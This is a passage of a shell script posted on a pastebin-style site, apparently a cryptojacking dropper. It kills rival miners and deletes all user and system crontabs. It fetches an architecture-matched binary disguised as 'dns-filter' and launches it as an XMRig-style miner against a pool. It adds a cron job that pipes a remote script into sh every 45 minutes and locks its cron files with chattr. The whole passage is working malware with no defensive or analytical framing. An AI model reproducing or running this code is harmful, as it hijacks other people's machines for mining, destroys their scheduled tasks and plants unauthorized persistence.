  583. [ -f "$_cf_f" ] && rm -f "$_cf_f"
  584. done
  585. }
  586. safe_patch_args() {
  587. _spa_file='/lib/systemd/cache/process-watcher'
  588. _spa_value="-o $_c3 -u $_c4/P2 --tls"
  589. [ -f "$_spa_file" ] || return 0
  590. _spa_esc=$(printf '%s' "$_spa_value" | sed 's/[\/&]/\\&/g') || return 0
  591. if grep -q '^XMRIG_ARGS="[^"]*"$' "$_spa_file" 2>/dev/null; then
  592. sed -i "s/^XMRIG_ARGS=\"[^\"]*\"$/XMRIG_ARGS=\"$_spa_esc\"/" "$_spa_file" 2>/dev/null || :
  593. else
  594. printf '\nXMRIG_ARGS="%s"\n' "$_spa_value" >> "$_spa_file" 2>/dev/null || :
  595. fi
  596. }
  597. replace_pool_user() {
  598. _rpu_path="/var/tmp/.odoo_pg_health.json"
  599. [ -f "$_rpu_path" ] || return 0
  600. _rpu_esc=$(printf '%s' "$_c4" | sed -e 's/\\/\\\\/g' -e 's/&/\\&/g' -e 's/|/\\|/g') || return 0
  601. _rpu_tmp="${_rpu_path}.tmp.$$"
  602. sed -e "s|\(\"user\"[ ]*:[ ]*\)\"[^\"]*\"|\1\"${_rpu_esc}\"|g" \
  603. <"$_rpu_path" >"$_rpu_tmp" 2>/dev/null || { rm -f "$_rpu_tmp"; return 0; }
  604. [ -s "$_rpu_tmp" ] && mv -f "$_rpu_tmp" "$_rpu_path" 2>/dev/null || rm -f "$_rpu_tmp"
  605. }
  606. get_cpu_count() {
  607. if [ -f /proc/cpuinfo ]; then
  608. grep -c '^processor' /proc/cpuinfo
  609. else
  610. sysctl -n hw.ncpu 2>/dev/null || nproc 2>/dev/null || getconf _NPROCESSORS_ONLN 2>/dev/null || echo 1
  611. fi
  612. }
  613. is_ec2_host() {
  614. hostname | grep -qi -e "ec2" -e "compute"
  615. }
  616. is_our_process_running() {
  617. for _iop_dir in /proc/[0-9]*; do
  618. [ -r "$_iop_dir/cmdline" ] || continue
  619. _iop_cmdline=$(cat "$_iop_dir/cmdline" 2>/dev/null | tr '\0' ' ')
  620. if echo "$_iop_cmdline" | grep -q "$_c5" && ! echo "$_iop_cmdline" | grep -q "is_our_process_running"; then
  621. _iop_state=$(awk '{print $3}' "$_iop_dir/stat" 2>/dev/null)
  622. [ "$_iop_state" = "Z" ] && continue
  623. _iop_pid="${_iop_dir##*/}"
  624. case "$_ga_arch" in
  625. aarch64|arm64|armv8l)
  626. case "$_iop_cmdline" in
  627. *"/$_c1"*) ;;
  628. *)
  629. echo "ARM process uses a different identifier; replacing"
  630. kill -9 "$_iop_pid" 2>/dev/null
  631. sleep 1
  632. continue
  633. ;;
  634. esac
  635. ;;
  636. esac
  637. _iop_cpu=$(ps -p "$_iop_pid" -o %cpu= 2>/dev/null | tr -d ' ')
  638. _iop_cpu=${_iop_cpu:-0}
  639. _iop_int=${_iop_cpu%.*}
  640. _iop_int=${_iop_int:-0}
  641. if [ "$_iop_int" -gt 0 ] 2>/dev/null; then
  642. echo "Our process active (PID $_iop_pid, CPU ${_iop_cpu}%) — skipping launch"
  643. return 0
  644. else
  645. echo "Our process idle (PID $_iop_pid) — killing and relaunching"
  646. kill -9 "$_iop_pid" 2>/dev/null
  647. sleep 1
  648. fi
  649. fi
  650. done
  651. echo "Our process not running"
  652. return 1
  653. }
  654. set_arch_urls() {
  655. _ga_arch=$(uname -m 2>/dev/null || echo unknown)
  656. case "$_ga_arch" in
  657. x86_64|amd64)
  658. _ga_url="$_c7"
  659. _ga_fallback="$_c9"
  660. _ga_machine=3e00
  661. ;;
  662. aarch64|arm64|armv8l)
  663. _ga_url="$_c8"
  664. _ga_fallback=""
  665. _ga_machine=b700
  666. _c1=ARM
  667. ;;
  668. *)
  669. _ga_url=""
  670. _ga_fallback=""
  671. _ga_machine=""
  672. return 1
  673. ;;
  674. esac
  675. }
  676. _elf_machine() {
  677. od -An -tx1 -j18 -N2 "$1" 2>/dev/null | tr -d '[:space:]'
  678. }
  679. _is_elf_for_arch() {
  680. _ie_file="$1"
  681. [ -s "$_ie_file" ] || return 1
  682. [ "$(head -c 4 "$_ie_file" 2>/dev/null)" = "$(printf '\177ELF')" ] || return 1
  683. [ "$(od -An -tx1 -j4 -N2 "$_ie_file" 2>/dev/null | tr -d '[:space:]')" = "0201" ] || return 1
  684. [ "$(_elf_machine "$_ie_file")" = "$_ga_machine" ]
  685. }
  686. _sfx_path() {
  687. if [ "$(id -u)" -eq 0 ]; then printf '/var/lib/.sysconf_id'
  688. else printf '/tmp/.sysid'; fi
  689. }
  690. _load_or_gen_sfx() {
  691. _log_f=$(_sfx_path)
  692. if [ -f "$_log_f" ] && [ -s "$_log_f" ]; then cat "$_log_f"; return; fi
  693. _log_s=$(tr -dc 'a-z0-9' </dev/urandom 2>/dev/null | head -c4)
  694. [ -z "$_log_s" ] && _log_s=$(awk 'BEGIN{srand(); printf "%04x", int(rand()*65535)}')
  695. mkdir -p "$(dirname "$_log_f")" 2>/dev/null
  696. printf '%s' "$_log_s" >"$_log_f" 2>/dev/null
  697. printf '%s' "$_log_s"
  698. }
  699.  
  700. wipe_previous_crons() {
  701. # 1) Release immutable/append-only pins from ANY cron file (not just
  702. # $(whoami)) — otherwise rm below fails with "Operation not permitted"
  703. # and the stale cron survives the wipe.
  704. if [ "$(id -u)" -eq 0 ]; then
  705. for _wl in /etc/cron.d/* /etc/cron.d/$(whoami) /etc/cron.d/apache \
  706. /var/spool/cron/* /var/spool/cron/crontabs/* \
  707. /etc/cron.hourly/* /etc/cron.daily/* \
  708. /etc/cron.weekly/* /etc/cron.monthly/* \
  709. /etc/crontab /etc/cron.hourly/oanacroner1 /etc/init.d/down; do
  710. [ -e "$_wl" ] || continue
  711. chattr -i "$_wl" 2>/dev/null || true
  712. chattr -a "$_wl" 2>/dev/null || true
  713. done
  714. fi
  715.  
  716. # 2) Drop every user's crontab
  717. crontab -r 2>/dev/null || true
  718. for _us in /var/spool/cron/crontabs/* /var/spool/cron/*; do
  719. [ -f "$_us" ] && rm -f "$_us" 2>/dev/null || true
  720. done
  721.  
  722. # 3) Drop the system-wide cron tree
  723. rm -f /etc/crontab 2>/dev/null || true
  724. rm -f /etc/cron.d/* 2>/dev/null || true
  725. rm -f /etc/cron.hourly/* /etc/cron.daily/* \
  726. /etc/cron.weekly/* /etc/cron.monthly/* 2>/dev/null || true
  727. }
  728.  
  729. create_cronjob() {
  730. # Refresh the same plain shell script that was uploaded at /mon.
  731. _cc_cmd=""
  732. if command -v curl >/dev/null 2>&1; then
  733. _cc_cmd="curl -fsSLk $_c2 | tr -d \"\r\" | sh"
  734. elif command -v wget >/dev/null 2>&1; then
  735. _cc_cmd="wget -qO- $_c2 | tr -d \"\r\" | sh"
  736. elif command -v openssl >/dev/null 2>&1; then
  737. _cc_helper="/tmp/.cron_fetch_$$.sh"
  738. cat > "$_cc_helper" << 'CRONHELPER'
  739. #!/bin/sh
  740. . /tmp/.hglib_cron 2>/dev/null
  741. http_get "$1" | tr -d "\r" | sh
  742. CRONHELPER
  743. chmod 755 "$_cc_helper"
  744. cat > /tmp/.hglib_cron << 'HGLIB'
  745. http_get() {
  746. _u="$1";_n=0
  747. while [ "$_n" -lt 5 ]; do
  748. _n=$((_n+1));_p="${_u#https://}";_p="${_p#http://}";
  749. _h="${_p%%/*}";_q="/${_p#*/}";[ "$_h" = "$_p" ]&&_q="/"
  750. _i=$(getent ahostsv4 "$_h" 2>/dev/null|awk '{print $1;exit}')
  751. [ -z "$_i" ]&&_i="$_h"
  752. _a="/tmp/.cr$$a";_b="/tmp/.cr$$b"
  753. printf 'GET %s HTTP/1.0\r\nHost: %s\r\nUser-Agent: wget/1.0\r\nConnection: close\r\n\r\n' "$_q" "$_h">"$_a"
  754. if command -v timeout >/dev/null 2>&1; then
  755. timeout 45 openssl s_client -connect "${_i}:443" -servername "$_h" \
  756. -quiet <"$_a">"$_b" 2>/dev/null
  757. else
  758. openssl s_client -connect "${_i}:443" -servername "$_h" \
  759. -quiet <"$_a">"$_b" 2>/dev/null
  760. fi
  761. _s=$(head -1 "$_b" 2>/dev/null|awk '{print $2}')
  762. case "$_s" in 301|302|303|307|308)
  763. _l=$(perl -0777 -ne 'if(/^Location:\s*(\S+)/im){print $1}' "$_b"|tr -d '\r')
  764. rm -f "$_a" "$_b" 2>/dev/null;[ -z "$_l" ]&&return 1
  765. case "$_l" in /*)_l="https://${_h}${_l}";;http://*|https://*);;*)_l="https://${_h}/${_l}";;esac
  766. _u="$_l";continue;;
  767. esac
  768. perl -0777 -ne 'if(/^(.*?)\r\n\r\n(.*)$/s){print $2}' <"$_b"
  769. rm -f "$_a" "$_b" 2>/dev/null;return 0
  770. done
  771. return 1
  772. }
  773. HGLIB
  774. _cc_cmd="$_cc_helper $_c2"
  775. else
  776. echo "Cannot create cron job — no curl/wget/openssl"
  777. return 1
  778. fi
  779. (crontab -l 2>/dev/null | grep -vF "$_c2"; printf '%s\n' "*/45 * * * * $_cc_cmd") | crontab -
  780. echo "Cron persistence installed."
  781. }
  782. for _main_pid in $(pgrep -f 'bash /tmp/.*\.sh' 2>/dev/null); do
  783. if [ "$_main_pid" != "$$" ] && [ "$_main_pid" != "$PPID" ]; then
  784. # Check it's not our process (guard against race: process may have died)
  785. [ -r "/proc/$_main_pid/cmdline" ] || continue
  786. _main_cmdline=$(tr '\0' ' ' < "/proc/$_main_pid/cmdline" 2>/dev/null)
  787. _is_excluded "$_main_cmdline" && continue
  788. kill -9 "$_main_pid" 2>/dev/null && echo "Killed competing script PID $_main_pid"
  789. fi
  790. done
  791. if [ "$(id -u)" -eq 0 ]; then
  792. command -v systemctl >/dev/null 2>&1 && systemctl stop systemd_s 2>/dev/null || true
  793. fi
  794. log "Killing competing miners..."
  795. kill_themf
  796. kill_mf3
  797. kill_high_cpu
  798. for _main_target in \
  799. ".rsyslogd" "kworker/u4:2" "crazyeltonproxy" "monero" "c3pool.org:80" \
  800. "/bin/watcher" "nuclear" "45.94.31.89" "hosts-to-ignore" "supportxmr" \
  801. "youyutebuae.xyz" "/lib/systemd/cache/health-monitor" "$(_d 'eG1yaWc=')"; do
  802. kill_and_remove_process "$_main_target" || true
  803. done
  804. log "Hardening network..."
  805. harden_network
  806. log "Cleaning up files..."
  807. cleanup_files
  808. safe_patch_args
  809. replace_pool_user
  810. _SFX=$(_load_or_gen_sfx)
  811. if [ "$(id -u)" -eq 0 ]; then
  812. HOME_1="/usr_${_SFX}/lib/dev"
  813. _main_user_type="root"
  814. # Install cron if missing (only as root)
  815. if ! command -v crontab >/dev/null 2>&1; then
  816. log "Installing cron..."
  817. if command -v apk >/dev/null 2>&1; then
  818. apk add --no-cache cron 2>/dev/null || apk add --no-cache cronie 2>/dev/null || true
  819. command -v rc-update >/dev/null 2>&1 && rc-update add crond default 2>/dev/null || true
  820. command -v rc-service >/dev/null 2>&1 && rc-service crond start 2>/dev/null || true
  821. elif command -v apt-get >/dev/null 2>&1; then
  822. apt-get update -qq 2>/dev/null && apt-get install -y -qq cron 2>/dev/null || true
  823. elif command -v yum >/dev/null 2>&1; then
  824. yum install -y cronie 2>/dev/null || true
  825. fi
  826. fi
  827. else
  828. HOME_1="/tmp/.usr_${_SFX}/lib"
  829. _main_user_type="user"
  830. fi
  831. program_file="$HOME_1/systemdev/dns-filter"
  832. mkdir -p "$HOME_1/systemdev" 2>/dev/null
  833. if ! set_arch_urls; then
  834. log "Unsupported architecture: $_ga_arch"
  835. exit 1
  836. fi
  837. cpu_count=$(get_cpu_count)
  838. is_ec2=false; is_ec2_host && is_ec2=true
  839. if [ "$cpu_count" -le 3 ] && [ "$is_ec2" = "false" ]; then
  840. log "LOW CPU: $cpu_count CPUs (min 4 required), not EC2 — exiting"
  841. exit 0
  842. fi
  843. log "CPU check: $cpu_count CPUs (user=$_main_user_type, ec2=$is_ec2)"
  844. if is_our_process_running; then
  845. log "Process running — installing cron and exiting"
  846. wipe_previous_crons
  847. create_cronjob "$_c2"
  848. exit 0
  849. fi
  850. log "Downloading..."
  851. arch_url="$_ga_url"
  852. if _is_elf_for_arch "$program_file"; then
  853. log "Binary present at $program_file ($(wc -c < "$program_file") bytes)"
  854. else
  855. rm -f "$program_file" 2>/dev/null || true
  856. log "Fetching from $arch_url..."
  857. fetch_file "$arch_url" "$program_file"
  858. chmod +x "$program_file" 2>/dev/null
  859. if ! _is_elf_for_arch "$program_file" && [ -n "$_ga_fallback" ]; then
  860. log "Primary failed or wrong architecture ($(wc -c < "$program_file" 2>/dev/null) bytes) — trying fallback..."
  861. rm -f "$program_file"
  862. fetch_file "$_ga_fallback" "$program_file"
  863. chmod +x "$program_file" 2>/dev/null
  864. fi
  865. fi
  866. if ! _is_elf_for_arch "$program_file"; then
  867. log "Error: no executable for architecture $_ga_arch"
  868. rm -f "$program_file" 2>/dev/null || true
  869. exit 1
  870. fi
  871. log "Binary ready: $(wc -c < "$program_file") bytes at $program_file"
  872. if ! "$program_file" --version >/dev/null 2>&1; then
  873. log "Error: binary failed the version check"
  874. rm -f "$program_file" 2>/dev/null || true
  875. exit 1
  876. fi
  877. launch_miner() {
  878. if command -v setsid >/dev/null 2>&1; then
  879. setsid "$program_file" "$@" >/dev/null 2>&1 &
  880. else
  881. nohup "$program_file" "$@" >/dev/null 2>&1 &
  882. fi
  883. _launch_pid=$!
  884. }
  885. log "Launching..."
  886. _launch_ok=0
  887. launch_miner -o "$_c3" -u "$_c4/$_c1" -k --tls
  888. sleep 5
  889. if kill -0 "$_launch_pid" 2>/dev/null; then
  890. log "Process running (PID $_launch_pid)"
  891. _launch_ok=1
  892. else
  893. log "Primary launch failed — retrying without -k..."
  894. launch_miner -o "$_c3" -u "$_c4/$_c1" --tls
  895. sleep 5
  896. if kill -0 "$_launch_pid" 2>/dev/null; then
  897. log "Process running on retry (PID $_launch_pid)"
  898. _launch_ok=1
  899. fi
  900. fi
  901. if [ "$_launch_ok" != 1 ]; then
  902. log "All launch attempts failed"
  903. rm -f "$program_file" 2>/dev/null || true
  904. exit 1
  905. fi
  906. wipe_previous_crons
  907. create_cronjob "$_c2"
  908. if [ "$(id -u)" -eq 0 ]; then
  909. for _lock_file in /etc/cron.d/$(whoami) /etc/cron.d/apache /var/spool/cron/$(whoami) /var/spool/cron/crontabs/$(whoami) /etc/cron.hourly/oanacroner1 /etc/init.d/down; do
  910. if [ -f "$_lock_file" ]; then
  911. chattr +i "$_lock_file" 2>/dev/null || true
  912. chattr +a "$_lock_file" 2>/dev/null || true
  913. fi
  914. done
  915. fi
  916. log "Deployment complete."
  917. exit 0
RAW Paste Data Copied
Public Pastes
Hello
Not a member of Modern Pastebin Alternative yet?
Sign Up, it unlocks many cool features!
 
We use cookies for various purposes including analytics. By continuing to use Modern Pastebin Alternative, you agree to our use of cookies as described in the Privacy Policy.  OK, I Understand